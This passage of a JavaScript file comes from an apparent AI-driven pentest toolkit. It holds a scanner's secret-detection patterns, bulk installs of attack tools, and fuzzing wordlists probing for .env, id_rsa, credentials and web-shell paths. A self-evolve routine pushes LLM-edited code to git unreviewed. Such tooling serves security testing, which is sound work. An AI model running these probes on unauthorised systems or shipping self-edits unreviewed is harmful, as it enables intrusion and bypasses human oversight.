ref:"https://www.youtube.com/watch?v=1ve-YrLOE7E — Bug Bounty Hunting Basics for Beginners 2024" },
{ id:"cybersec-fundamentals", t:"Cybersecurity Fundamentals — 5 Core Skills", s:"Info", d:"Based on HackerSploit's guide. The 5 essential skills: (1) Virtual Machines — Hypervisors (VirtualBox/VMware/KVM), snapshots, isolated environments for training and malware analysis. (2) Command Line — Bash/Zsh/PowerShell, scripting, automation, WSL for Windows. (3) System Administration — configure/maintain systems, learn by doing, push limits. (4) Computer Networking — TCP/IP (4 layers) and OSI (7 layers), protocols, troubleshooting. (5) Personal Digital Security — passwords, encryption, secure comms, staying current.", i:"Foundation for ANY cybersecurity role (red/blue/IT ops), career readiness, practical hands-on skills over certs", test:["Install VirtualBox and set up a Kali Linux VM","Practice 10 basic Bash commands: ls, cd, grep, find, chmod, ps, netstat, curl, awk, sed","Configure a basic Linux server: SSH, firewall, users","Map TCP/IP layers for a web request: browser → DNS → TCP → HTTP","Set up a password manager and enable 2FA on all accounts"], m:"N/A — fundamentals guide", tools:"VirtualBox, VMware, WSL, Bash, Wireshark, nmap, OpenVPN" },
];
if (q === "list") return `📚 PHANTOM HACKBOOK\n\nCategories (${builtinDb.length}):\n${builtinDb.map(e => ` ${e.t} — ${e.s}`).join("\n")}\n\nUsage: @hackbook|\nExample: @hackbook|sql-injection`;
const matches = builtinDb.filter(e => e.id.includes(q) || e.t.toLowerCase().includes(q) || e.d.toLowerCase().includes(q));
if (!matches.length) return `[hackbook] No results for "${q}". Try: ${builtinDb.map(e=>e.id).join(", ")}`;
if (matches.length > 1) return `[hackbook] Multiple: ${matches.map(e=>e.t).join(", ")}. Be specific.`;
const e = matches[0];
return `📚 ${e.t}\n${"=".repeat(40)}\nSeverity: ${e.s}\n\n📖 ${e.d}\n\n⚠️ Impact:\n${e.i}\n\n🔍 Testing:\n${e.test.map((s,i) => ` ${i+1}. ${s}`).join("\n")}\n\n🛡️ Mitigation:\n${e.m}\n\n🔧 Tools:\n${e.tools}\n${e.ref ? `\n📺 Reference:\n${e.ref}\n` : ""}${"=".repeat(40)}`;
},
code_analyze: async (input) => {
const arg = input.trim();
if (!arg) return "[code_analyze] Usage: @code_analyze|file_path or directory";
try {
const fp = resolve(process.cwd(), arg);
const st = fs.statSync(fp);
let files = [];
if (st.isDirectory()) {
const { readdirSync } = await import("fs");
const all = readdirSync(fp, { recursive: true });
const exts = [".js",".ts",".mjs",".py",".php",".java",".go",".rs",".cpp",".c",".h",".rb",".html",".sh",".yaml",".sql"];
files = all.filter(f => exts.some(e => f.endsWith(e))).slice(0,20).map(f => resolve(fp, f));
if (!files.length) files = [fp];
} else { files = [fp]; }
const results = [];
for (const f of files.slice(0,5)) {
const code = fs.readFileSync(f, "utf-8").slice(0,3000);
const name = f.replace(process.cwd()+"/", "");
const ext = f.split(".").pop();
const issues = [];
const checks = [
{ rx: [/\beval\s*\(/g, /\bexec\s*\(/g, /\bsystem\s*\(/g, /\bpopen\s*\(/g, /child_process/g], label: "eval/exec use" },
{ rx: [/['"][A-Za-z0-9_]{20,}['"]/g, /(api[_-]?key|secret|password|token|auth).{0,20}=.{0,20}['"][A-Za-z0-9_]{8,}['"]/gi], label: "Hardcoded secret" },
{ rx: [/['"].*\+.*['"].*SQL/g, /\bquery\(.*\+/g, /\bexecute\(.*\+/g], label: "SQL injection risk" },
{ rx: [/==\s*true/g, /\b(true|false)\s*!=\s*/g], label: "Insecure comparison" },
{ rx: [/\bMD5\b/g, /\bSHA1\b/gi, /\bRC4\b/g, /\bDES\b/g], label: "Weak crypto" },
{ rx: [/\bfs\.readFileSync/g, /\bopen\(.*\$/g], label: "File access" },
{ rx: [/console\.log\(/g, /print_r\(/g, /var_dump\(/g, /debugger/g], label: "Debug leak" },
{ rx: [/\bredirect\(.*\$/g, /\bheader\(.*Location/g], label: "Unvalidated redirect" }
];
for (const c of checks) for (const r of c.rx) { const m = code.match(r); if (m) issues.push(`${c.label} (${m.length}x)`); }
results.push({ file: name, size: code.length, ext, issues: [...new Set(issues)] });
}
let report = `# Code Security Analysis\nTarget: ${arg} (${files.length} files)\nScanned: ${Math.min(files.length,5)}\n\n`;
for (const r of results) {
report += `## ${r.file}\nSize: ${r.size}B | Type: ${r.ext}\n`;
if (r.issues.length) { r.issues.forEach(i => report += `- ${i}\n`); } else { report += "No issues found\n"; }
report += "\n";
}
if (files.length > 5) report += `_${files.length-5} more files not scanned_\n`;
if (__r.llmInstance?.chat && results.length) {
const samples = results.map(r => `File: ${r.file}\n${fs.readFileSync(r.file,"utf-8").slice(0,1500)}`).join("\n\n---\n\n");
const llmOut = await __r.llmInstance.chat([
{ role: "system", content: "You are a code security auditor. Analyze for OWASP Top 10, hardcoded secrets, logic flaws. Give specific line numbers and fixes." },
{ role: "user", content: `Code to analyze:\n\n${samples.slice(0,8000)}` }
]);
report += `## AI Analysis\n\n${llmOut.trim().slice(0,3000)}\n`;
}
return report;
} catch (e) { return `[code_analyze Error] ${e.message}`; }
},
self_improve: async (input) => {
const focus = input?.trim().toLowerCase() || "all";
try {
const src = fs.readFileSync(resolve(process.cwd(), "phantom.mjs"), "utf-8");
const lines = src.split("\n").length;
const size = (src.length / 1024).toFixed(1);
const classes = (src.match(/class\s+\w+/g) || []).length;
const fns = (src.match(/async\s+\w+\s*\(/g) || []).length;
let report = `# Self-Improvement\nSource: phantom.mjs\nLines: ${lines} | Size: ${size} KB\nClasses: ${classes} | Async fns: ~${fns}\nFocus: ${focus}\n\n`;
const imps = [];
if (focus === "all" || focus === "performance") { imps.push(`Split ${lines}-line monolith into modules`); imps.push("Lazy-load rarely used tools"); imps.push("Use WeakMap for agent caches"); }
if (focus === "all" || focus === "security") { imps.push("Add input length limits to prevent ReDoS"); imps.push("Sanitize file paths to prevent traversal"); imps.push("Rate-limit shell execution"); imps.push("Validate URLs against SSRF allowlist"); }
if (focus === "all" || focus === "features") { imps.push("Web dashboard for agent monitoring"); imps.push("Plugin hot-reload without restart"); imps.push("Export to PDF/Nessus/OpenVAS"); imps.push("Multi-session tabs for concurrent targets"); imps.push("Voice commands via Termux TTS"); }
report += `## Improvements (${imps.length})\n\n${imps.map((s,i) => `${i+1}. ${s}`).join("\n")}\n\n`;
let patched = false;
if (__r.llmInstance?.chat && lines > 3200) {
report += `LLM analyzing optimization opportunities...\n`;
const analysis = await __r.llmInstance.chat([
{ role: "system", content: "You are code optimization AI. Analyze Phantom source and suggest 3 specific improvements with exact code changes." },
{ role: "user", content: `Source: phantom.mjs (${lines} lines, ${size} KB)\nFocus: ${focus}\n\nFirst 3000 chars:\n${src.slice(0,3000)}\n\nLast 2000 chars:\n${src.slice(-2000)}` }
]);
report += `${analysis.trim().slice(0,2000)}\n`;
const dir = resolve(REPORTS_DIR, "self_improve");
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
fs.writeFileSync(resolve(dir, `analysis_${Date.now()}.md`), `# Self-Improvement\n\n${analysis}`, "utf-8");
patched = true;
}
report += `\n${patched ? "Analysis saved to reports/self_improve/" : "No LLM available for deep analysis"}\nTo apply: @self_edit|phantom.mjs|old|new`;
return report;
} catch (e) { return `[self_improve Error] ${e.message}`; }
},
// ── SELF-EVOLVE — full pipeline: wrappers→heal→optimize→validate→test→push ──
self_evolve_primary: async (input) => {
const arg = (input || "").trim().toLowerCase();
// Status check
if (arg === "status" || arg === "s" || arg === "--status") {
try {
const { autoEvolve, getEvolveStatus, detectMissingWrappers } = await import("./evolve.mjs");
const st = getEvolveStatus();
const lines = [
`🧬 PHANTOM AUTO-EVOLUTION`,
`Generation: ${st.generation}`,
`Wrappers created: ${st.wrappers_created}`,
`Errors auto-fixed: ${st.errors_fixed}`,
`Patches: ${st.patches_applied}`,
`Last evolve: ${st.last_evolve || "never"}`,
];
if (st.wrapper_list?.length > 0) {
lines.push(`\n Auto-wrappers:`);
st.wrapper_list.slice(-5).forEach(w => lines.push(` ${w.bin} → ${w.path}`));
}
if (st.recent_fixes?.length > 0) {
lines.push(`\n Recent fixes:`);
st.recent_fixes.slice(-3).forEach(f => lines.push(` ${f.ts?.split("T")[0]} ${f.tool}: ${f.fix?.slice(0, 60)}`));
}
// Check for new wrappers available
try {
const missing = detectMissingWrappers();
if (missing.length > 0) lines.push(`\n ⚡ ${missing.map(m => m.bin).join(", ")} installed — wrappers ready to generate`);
} catch {}
return lines.join("\n");
} catch (e) { return `[evolve status] ${e.message}`; }
}
// Run full evolution
try {
const { autoEvolve } = await import("./evolve.mjs");
const result = await autoEvolve();
const lines = [`🧬 PHANTOM EVOLUTION — Generation ${result.generation}`];
const created = result.results.filter(r => r.phase === "wrapper" && r.status === "created");
if (created.length > 0) {
lines.push(`\n✅ Created ${created.length} new tool wrapper(s):`);
created.forEach(c => lines.push(` + ${c.bin} → lib/auto_tools/${c.bin}.mjs`));
}
const gitCommit = result.results.filter(r => r.phase === "git" && r.status === "committed");
if (gitCommit.length > 0) lines.push(`\n📦 Git commit: ${gitCommit.length} change(s)`);
const testPass = result.results.filter(r => r.phase === "test" && r.status === "passed");
const testFail = result.results.filter(r => r.phase === "test" && r.status === "failed");
const testRetry = result.results.filter(r => r.phase === "test_retry" && r.status === "passed");
if (testFail.length > 0) {
lines.push(`\n❌ Tests failed: ${testFail[0].passed}/${testFail[0].passed + testFail[0].failed}`);
} else if (testPass.length > 0) {
lines.push(`\n🧪 Tests passed: ${testPass[0].passed}/${testPass[0].passed}`);
}
if (testRetry.length > 0) {
lines.push(` 🔧 Healed + retry passed: ${testRetry[0].passed}/${testRetry[0].passed}`);
}
const ready = result.results.filter(r => r.phase === "git" && r.status === "ready_to_push");
if (ready.length > 0) {
for (const r of ready) {
lines.push(`\n📦 Auto-pushing ${r.commits.split("\n").length} commit(s)...`);
}
try {
const { execSync } = await import("child_process");
const cwd = resolve(dirname(fileURLToPath(import.meta.url)), "..");
const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 });
lines.push(`✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`);
} catch (e) {
const msg = e.stderr?.trim() || e.message;
lines.push(`⚠ Push failed: ${msg.slice(0, 200)}`);
}
}
const validated = result.results.filter(r => r.phase === "validate" && r.status === "ok");
if (validated.length > 0) lines.push(`\n✅ ${validated.length} files validated`);
const failed = result.results.filter(r => r.status === "error" || r.status === "failed");
if (failed.length > 0) {
lines.push(`\n⚠ ${failed.length} issues found:`);
failed.forEach(f => lines.push(` ${f.file || f.bin || ""}: ${f.error?.slice(0, 100) || "?"}`));
}
const opts = result.results.filter(r => r.phase === "optimize");
if (opts.length > 0) {
lines.push(`\n💡 Optimization suggestions:`);
opts.forEach(o => lines.push(` ${o.detail?.slice(0, 120)}`));
}
if (created.length === 0 && validated.length > 0 && failed.length === 0) {
lines.push("\n✓ Phantom is healthy — no evolution needed");
}
return lines.join("\n");
} catch (e) { return `[self_evolve Error] ${e.message}`; }
},
git_push: async (input) => {
// Show pending commits and push on confirmation
const { execSync } = await import("child_process");
const cwd = resolve(dirname(fileURLToPath(import.meta.url)), "..");
try {
// Show what's pending
const behind = execSync(`git log origin..HEAD --oneline 2>/dev/null`, { cwd, encoding: "utf-8", timeout: 5000 }).trim();
if (!behind) return "📤 Nothing to push — local is up to date with origin.";
const lines = behind.split("\n");
let out = `📤 ${lines.length} commit(s) ahead of origin:\n`;
lines.slice(0, 10).forEach(l => out += ` ${l}\n`);
if (lines.length > 10) out += ` … +${lines.length - 10} more\n`;
// Push
const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 });
out += `\n✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`;
return out;
} catch (e) {
const msg = e.stderr?.trim() || e.message;
if (msg.includes("No remote")) return "📤 No remote configured. Set up a remote with `git remote add origin ` first.";
return `[git_push Error] ${msg.slice(0, 400)}`;
}
},
install: async (tool) => {
const name = tool.trim().toLowerCase();
const toolList = "nmap, sqlmap, metasploit, searchsploit, ffuf, hydra, john, gobuster, nikto, wireshark, subfinder, katana, amass, httpx, nuclei, dnsx, gau, gitleaks, s3scanner, trufflehog, arjun, gospider, whatweb, wafw00f, masscan, interactsh";
if (!name) return `[install] Usage: @install|tool_name or @install|all\nTools: ${toolList}`;
const pmap = {
nmap:"nmap", sqlmap:"sqlmap", metasploit:"metasploit-framework", searchsploit:"exploitdb",
ffuf:"ffuf", hydra:"hydra", john:"john", gobuster:"gobuster", nikto:"nikto",
wireshark:"tshark", dnsutils:"dnsutils", netcat:"netcat-openbsd", curl:"curl",
wget:"wget", git:"git", python3:"python3", nodejs:"nodejs", ruby:"ruby",
perl:"perl", masscan:"masscan", dirb:"dirb", whatweb:"whatweb", wafw00f:"wafw00f",
subfinder:"subfinder", katana:"katana", amass:"amass", httpx:"httpx",
nuclei:"nuclei", dnsx:"dnsx", gau:"gau", gitleaks:"gitleaks", s3scanner:"s3scanner",
trufflehog:"trufflehog", arjun:"arjun", gospider:"gospider",
interactsh:"interactsh-client",
};
const pkg = pmap[name] || name;
// Bulk install all
if (name === "all") {
const { execSync } = await import("child_process");
let pm = "apt"; let install = "apt install -y"; let update = "apt update -y";
try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {}
try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} }
let out = `[install] Bulk installing ${Object.keys(pmap).length} tools via ${pm}...\n`;
if (update) try { execSync(update, { stdio:"pipe", timeout:60000 }); } catch {}
let ok = 0, fail = 0;
for (const [t, p] of Object.entries(pmap)) {
try {
execSync(`${install} ${p}`, { stdio:"pipe", timeout:300000 });
out += ` ✅ ${t}\n`;
ok++;
} catch (e) {
out += ` ❌ ${t}: ${e.message.slice(0, 60)}\n`;
fail++;
}
}
out += `\nDone: ${ok} installed, ${fail} failed.`;
return out;
}
try {
const { execSync } = await import("child_process");
// Detect package manager
let pm = "apt"; let install = "apt install -y"; let update = "apt update -y";
try { execSync("command -v pkg", { stdio:"pipe" }); pm="pkg"; install="pkg install -y"; update="pkg update -y"; } catch {}
try { if (pm==="apt") execSync("command -v apt", { stdio:"pipe" }); } catch { try { execSync("command -v brew", { stdio:"pipe" }); pm="brew"; install="brew install"; update=""; } catch {} }
// Install
let out = `[install] Installing ${name} via ${pm}...\n`;
if (update) execSync(update, { stdio:"pipe", timeout:60000 });
execSync(`${install} ${pkg}`, { stdio:"pipe", timeout:120000 });
out += `✅ ${name} installed.`;
// Verify
try { execSync(`command -v ${name}`, { stdio:"pipe", timeout:3000 }); out += ` Verified.`; } catch { out += ` Check with '${name}'.`; }
return out;
} catch (e) { return `[install] Failed: ${e.message}`; }
},
update: async (input) => {
const force = input?.trim().toLowerCase() === "force";
try {
const { execSync } = await import("child_process");
// Check git
try { execSync("git rev-parse --git-dir", { stdio:"pipe", timeout:3000 }); } catch { return "[update] Not a git repository."; }
// Check remote
const remote = execSync("git remote -v", { encoding:"utf-8", timeout:3000 }).trim();
if (!remote) return "[update] No remote configured.";
// Fetch
execSync("git fetch", { stdio:"pipe", timeout:30000 });
const behind = parseInt(execSync("git rev-list --count HEAD..@{u}", { encoding:"utf-8", timeout:5000 }).trim() || "0");
if (behind === 0) return "[update] Already up to date.";
// Show diff
const log = execSync(`git log --oneline -${Math.min(behind,5)} HEAD..@{u}`, { encoding:"utf-8", timeout:5000 }).trim();
if (!force) return `[update] ${behind} commit(s) behind:\n${log}\n\nRun @update|force to pull.`;
// Pull
execSync("git pull --ff-only", { stdio:"pipe", timeout:30000 });
// Re-check syntax
try { execSync(`node --check "${resolve(homedir(), "Phantom", "phantom.mjs")}"`, { stdio:"pipe", timeout:5000 }); } catch { return `[update] Pulled but SYNTAX ERROR in new code. Roll back with: git reset --hard HEAD@{1}`; }
return `✅ Updated! ${behind} commit(s) pulled.\n${log}\nSyntax verified.`;
} catch (e) { return `[update Error] ${e.message}`; }
},
batch: async (input) => {
const [fileArg, ...rest] = input.trim().split("|");
if (!fileArg || !rest.length) return "[batch] Usage: @batch|targets.txt|tool_name\nReads targets from file, runs tool on each.";
const toolName = rest.join("|").trim();
try {
const fp = resolve(process.cwd(), fileArg.trim());
const targets = fs.readFileSync(fp, "utf-8").split("\n").map(s => s.trim()).filter(s => s && !s.startsWith("#"));
if (!targets.length) return `[batch] No targets found in ${fileArg}`;
if (!hackerTools[toolName]) return `[batch] Unknown tool: "${toolName}". Available: ${Object.keys(hackerTools).slice(0,10).join(", ")}...`;
const results = [];
for (const target of targets.slice(0,20)) {
try {
const out = await hackerTools[toolName](target);
results.push({ target, status: "ok", output: out });
} catch (e) { results.push({ target, status: "error", error: e.message }); }
}
const passed = results.filter(r => r.status === "ok").length;
const failed = results.filter(r => r.status === "error").length;
let report = `# Batch Report\nTool: ${toolName}\nTargets: ${targets.length} (ran ${results.length})\nPassed: ${passed} | Failed: ${failed}\n\n`;
for (const r of results) {
report += `## ${r.target} [${r.status}]\n`;
report += r.status === "ok" ? r.output.slice(0,500) + "\n\n" : `Error: ${r.error}\n\n`;
}
const ts = Date.now();
const rDir = resolve(REPORTS_DIR, "batch");
if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true });
fs.writeFileSync(resolve(rDir, `batch_${ts}.md`), report, "utf-8");
return report.slice(0,4000) + (report.length > 4000 ? `\n... Full report saved to ${rDir}/batch_${ts}.md` : "");
} catch (e) { return `[batch Error] ${e.message}`; }
},
schedule: async (input) => {
const SCHEDULES_FILE = resolve(homedir(), ".config", "phantom", "schedules.json");
function loadSchedules() {
if (fs.existsSync(SCHEDULES_FILE)) {
try { return JSON.parse(fs.readFileSync(SCHEDULES_FILE, "utf-8")); } catch {}
}
return [];
}
function saveSchedules(schedules) {
// Exclude sid (Timer objects) from persistence - they'll be recreated on load
const toSave = schedules.map(s => ({ ...s, sid: undefined }));
fs.writeFileSync(SCHEDULES_FILE, JSON.stringify(toSave, null, 2), "utf-8");
}
// Load persisted schedules on first run
if (!globalThis.__phantomSchedulesLoaded) {
globalThis.__phantomSchedules = loadSchedules();
// Restore intervals
for (const s of globalThis.__phantomSchedules) {
s.sid = setInterval(async () => {
const ts = new Date().toISOString();
try {
const result = await hackerTools[s.tool](s.target);
console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`);
} catch (e) {
console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`);
}
}, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0);
}
globalThis.__phantomSchedulesLoaded = true;
}
function persistAndRestart() {
saveSchedules(globalThis.__phantomSchedules);
// Restart all intervals
for (const s of globalThis.__phantomSchedules) {
clearInterval(s.sid);
s.sid = setInterval(async () => {
const ts = new Date().toISOString();
try {
const result = await hackerTools[s.tool](s.target);
console.log(`[${ts}] ⏰ ${s.tool} → ${s.target}: ${result.slice(0, 200)}`);
} catch (e) {
console.error(`[${ts}] ⏰ ${s.tool} → ${s.target} ERROR: ${e.message}`);
}
}, s.nextAt - Date.now() > 0 ? s.nextAt - Date.now() : 0);
}
}
const parts = input.trim().split("|");
const cmd = parts[0]?.trim().toLowerCase();
// Management commands
if (cmd === "list" || cmd === "ls") {
if (!globalThis.__phantomSchedules || !globalThis.__phantomSchedules.length) return "[schedule] No active schedules.";
return ["⏰ Active Schedules:", ...globalThis.__phantomSchedules.map(s =>
` [${s.id}] ${s.tool} → ${s.target} every ${s.interval} (next: ${new Date(s.nextAt).toLocaleString()})`
)].join("\n");
}
if (cmd === "stop" || cmd === "cancel") {
const id = parseInt(parts[1]);
if (!globalThis.__phantomSchedules) return "[schedule] No active schedules.";
const idx = globalThis.__phantomSchedules.findIndex(s => s.id === id);
if (idx === -1) return `[schedule] No schedule with ID ${id}. Use @schedule|list to see active.`;
clearInterval(globalThis.__phantomSchedules[idx].sid);
globalThis.__phantomSchedules.splice(idx, 1);
persistAndRestart();
return `⏰ Schedule [${id}] cancelled.`;
}
if (cmd === "clear") {
if (!globalThis.__phantomSchedules) return "[schedule] No active schedules.";
for (const s of globalThis.__phantomSchedules) clearInterval(s.sid);
globalThis.__phantomSchedules = [];
persistAndRestart();
return "⏰ All schedules cleared.";
}
// New schedule
if (parts.length < 2) return `[schedule] Usage:
@schedule||| Schedule a scan
@schedule|scan| Run tool on all scope targets
@schedule|list List active schedules
@schedule|stop| Stop a schedule
@schedule|clear Stop all schedules
Interval: daily, hourly, 30m, 10m, 1h, or cron '0 9 * * *'
Examples:
@schedule|daily|recon|example.com
@schedule|scan|recon Run recon on all scope targets
@schedule|30m|nmap|scanme.org -p 80,443`;
if (cmd === "scan") {
// Run tool on all scope targets
const toolName = parts[1];
const extra = parts.slice(2).join("|");
try {
const { runScheduledScan } = await import("./runtime.mjs");
const result = await runScheduledScan(hackerTools, toolName, extra);
return result;
} catch (e) { return `[schedule Error] ${e.message}`; }
}
const interval = cmd;
const tool = parts[1];
const target = parts.slice(2).join("|");
try {
let ms = 0;
if (interval === "daily") ms = 86400000;
else if (interval === "hourly") ms = 3600000;
else if (interval.match(/^(\d+)m$/)) ms = parseInt(interval) * 60000;
else if (interval.match(/^(\d+)h$/)) ms = parseInt(interval) * 3600000;
else if (interval.match(/^\d+$/)) ms = parseInt(interval) * 1000;
else return `[schedule] Unknown interval: "${interval}". Use: daily, hourly, 30m, 10m, 1h`;
if (!hackerTools[tool]) return `[schedule] Unknown tool: "${tool}"`;
const sid = setInterval(async () => {
const ts = new Date().toISOString();
try {
const result = await hackerTools[tool](target);
console.log(`[${ts}] ⏰ ${tool} → ${target}: ${result.slice(0, 200)}`);
} catch (e) {
console.error(`[${ts}] ⏰ ${tool} → ${target} ERROR: ${e.message}`);
}
}, ms);
if (!globalThis.__phantomSchedules) globalThis.__phantomSchedules = [];
const id = globalThis.__phantomSchedules.length;
const nextAt = Date.now() + ms;
globalThis.__phantomSchedules.push({ id, interval, tool, target, sid, nextAt });
persistAndRestart();
return `⏰ Scheduled: ${tool} on ${target} every ${interval}\nNext run: ${new Date(nextAt).toLocaleString()}\nID: ${id} (use @schedule|list to manage)`;
} catch (e) { return `[schedule Error] ${e.message}`; }
},
agent_memory: async (input) => {
const agents = ["Lyra", "Nova", "Orion", "Vega", "Atlas", "Helios", "Selene", "Aether"];
const arg = input?.trim().toLowerCase() || "list";
const dir = resolve(MEMORY_DIR, "agents");
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
if (arg === "list") {
const files = fs.readdirSync(dir);
if (!files.length) return "📝 Agent memories: (none yet)\nAgents: " + agents.join(", ") + "\n\nUse @agent_memory| to view.";
const list = files.map(f => ` ${f.replace(".json","")}: ${JSON.parse(fs.readFileSync(resolve(dir,f),"utf-8")).length || 0} entries`).join("\n");
return `📝 Agent Memories\n${list}\n\nUse @agent_memory| to view, @agent_memory| clear to reset.`;
}
const [name, action] = arg.split(/\s+/);
const agent = agents.find(a => a.toLowerCase() === name);
if (action === "clear") {
if (!agent) return `[agent_memory] Unknown agent: ${name}. Agents: ${agents.join(", ")}`;
fs.writeFileSync(resolve(dir, `${agent.toLowerCase()}.json`), "[]", "utf-8");
return `🗑️ Cleared memory for ${agent}`;
}
if (agent) {
const memPath = resolve(dir, `${agent.toLowerCase()}.json`);
let mem = [];
try { mem = JSON.parse(fs.readFileSync(memPath, "utf-8") || "[]"); } catch { mem = []; }
if (!mem.length) return `📝 ${agent}: No memories yet.`;
return `📝 ${agent} Memory (${mem.length} entries)\n${mem.slice(-5).map(m => ` [${new Date(m.ts).toLocaleTimeString()}] ${m.text?.slice(0,100)}`).join("\n")}`;
}
return `[agent_memory] Unknown: "${name}". Agents: ${agents.join(", ")}`;
},
fuzz: async (input) => {
// Web fuzzing engine — discovers hidden paths, params, and files
const parts = input.trim().split("|");
const urlPart = parts[0] || "";
const wordlistType = (parts[1] || "common").toLowerCase();
if (!urlPart || !urlPart.includes("FUZZ")) return `[fuzz] Usage: @fuzz|url|wordlist_type\n URL must contain FUZZ placeholder (path or param)\n Wordlists: common, admin, backup, params, php, asp, jsp, custom:path.txt\n Example: @fuzz|https://example.com/FUZZ|admin\n Example: @fuzz|https://example.com?file=FUZZ|common`;
// Built-in wordlists
const WORDLISTS = {
common: ["admin","backup","config","css","data","db","dev","dist","downloads","error","favicon.ico","fonts","images","img","includes","index.html","js","lib","login","logs","media","old","phpinfo.php","private","robots.txt","sitemap.xml","sql","src","static","status","test","tmp","upload","vendor","wp-admin","wp-content","wp-includes","xmlrpc.php"],
admin: ["admin","administrator","cp","cpanel","dashboard","manager","panel","root","super","webadmin","wp-admin","admin.php","login","login.php","console","phpmyadmin","phpPgAdmin","adminer","mysql","pma","admin/","backend","api","management","control","sysadmin","webmaster","moderator","adm"],
backup: [".git/config",".env","backup.sql","backup.zip","backup.tar.gz","db.sql","dump.sql","config.php.bak","config.bak","composer.json","package.json","package-lock.json","yarn.lock","credentials.txt","password.txt","secret.txt","token.txt","key.pem","private.key","id_rsa","wp-config.php.bak","db_backup.sql","app.log","error.log","access.log","install.log","debug.log"],
params: ["id","page","file","path","url","redirect","return","next","go","target","cmd","exec","command","action","do","method","type","option","debug","test","token","key","api_key","secret","auth","password","pass","user","username","name","email","search","q","query","s","folder","dir","include","require","template","theme","view","load","read","download","upload","img","image","src","callback","jsonp","format","lang","locale"],
php: ["index.php","config.php","wp-config.php","db.php","login.php","admin.php","api.php","ajax.php","cron.php","setup.php","install.php","upload.php","download.php","search.php","logout.php","register.php","profile.php","settings.php","edit.php","delete.php","view.php","list.php","page.php","post.php","comment.php","user.php","export.php","import.php","backup.php","restore.php","test.php","info.php","phpinfo.php","status.php","health.php","ping.php","shell.php","cmd.php","exec.php","rce.php"],
asp: ["default.asp","index.asp","login.asp","admin.asp","config.asp","global.asa","web.config","iisstart.asp"],
jsp: ["index.jsp","login.jsp","admin.jsp","manager.jsp","examples/","jsp-examples/","servlets-examples/","web-inf/","WEB-INF/web.xml","WEB-INF/struts-config.xml"],
};
// Load wordlist
let words = [];
if (wordlistType.startsWith("custom:")) {
const customPath = wordlistType.slice(7);
try {
const content = fs.readFileSync(resolve(process.cwd(), customPath), "utf-8");
words = content.split("\n").map(s => s.trim()).filter(Boolean);
} catch (e) { return `[fuzz] Custom wordlist error: ${e.message}`; }
} else if (WORDLISTS[wordlistType]) {
words = WORDLISTS[wordlistType];
} else {
return `[fuzz] Unknown wordlist: "${wordlistType}". Options: ${Object.keys(WORDLISTS).join(", ")}`;
}
const usePlaceholder = urlPart.includes("FUZZ");
const results = [];
const baseUrl = urlPart.replace("FUZZ", "");
const found = [];
// Check base URL first
try {
const baseResp = await fetch(urlPart.replace("FUZZ", ""), { method: "GET", signal: AbortSignal.timeout(10000), redirect: "manual" });
const baseSize = parseInt(baseResp.headers.get("content-length") || "0");
results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words, showing up to 30 results)\n Base URL: ${baseResp.status} ${baseResp.statusText}${baseSize ? ` (${(baseSize/1024).toFixed(1)} KB)` : ""}\n`);
} catch (e) { results.push(`📡 Fuzzing: ${urlPart}\n Wordlist: ${wordlistType} (${words.length} words)\n Base URL: unreachable (${e.message})\n`); }
// Concurrent fuzz with progress
const concurrency = 15;
let completed = 0;
for (let i = 0; i < words.length; i += concurrency) {
const batch = words.slice(i, i + concurrency);
await Promise.all(batch.map(async (word) => {
const url = urlPart.replace("FUZZ", encodeURIComponent(word));
try {
const resp = await fetch(url, { method: "GET", signal: AbortSignal.timeout(8000), redirect: "manual" });
const size = parseInt(resp.headers.get("content-length") || "0");
const loc = resp.headers.get("location") || "";
const wordS = `${word}`;
const statusS = `${resp.status}`.padStart(4);
const sizeS = size ? `${(size/1024).toFixed(1)}K` : "";
const locS = loc ? `→ ${loc.slice(0,60)}` : "";
// Filter: show 2xx, 3xx, 4xx (skip 404)
if (resp.status !== 404 && resp.status !== 0) {
const label = resp.status < 300 ? "✅" : resp.status < 400 ? "🔀" : "⚠";
found.push({ word: wordS, status: resp.status, size, loc });
if (found.length <= 30) results.push(` ${label} ${wordS.padEnd(30)} ${statusS} ${sizeS.padEnd(8)} ${locS}`);
}
} catch {}
completed++;
}));
}
if (!found.length) results.push(` (no paths discovered — all returned 404 or connection errors)`);
else { results.push(`\n📊 ${found.length}/${words.length} discovered (showing first 30)\n`); }
// Save report
const ts = Date.now();
const rDir = resolve(REPORTS_DIR, "fuzz");
if (!fs.existsSync(rDir)) fs.mkdirSync(rDir, { recursive: true });
const report = [...results].join("\n");
fs.writeFileSync(resolve(rDir, `fuzz_${ts}.md`), `# Fuzz Report: ${baseUrl}\n\n${report}`, "utf-8");
results.push(`\n📄 Report: ${rDir}/fuzz_${ts}.md`);
return results.join("\n");
},
pwn: async (input) => {
// Auto-exploit chain: recon → CVE → searchsploit → exploit plan
const parts = input.trim().split("|");
const target = parts[0] || "";
const port = parts[1] || "";
if (!target) return `[pwn] Usage: @pwn|target|optional_port\n Runs full recon + vulnerability assessment + exploit matching\n Example: @pwn|example.com\n Example: @pwn|192.168.1.1|80,443`;
const domain = target.replace(/^https?:\/\//,"").replace(/\/.*$/,"").trim();
const timestamp = new Date().toISOString().replace(/[:.]/g, "-");
const lines = ["╔══════════════════════════════════════╗",
"║ PHANTOM — EXPLOIT CHAIN ║",
`║ Target: ${domain.padEnd(32)}║`,
`║ Date: ${timestamp.slice(0,19).padEnd(27)}║`,
"╚══════════════════════════════════════╝",""];
// Phase 1: Recon
lines.push("## [1/5] RECONNAISSANCE");
try { lines.push("### DNS Lookup", await hackerTools.dns_lookup(domain), ""); } catch {}
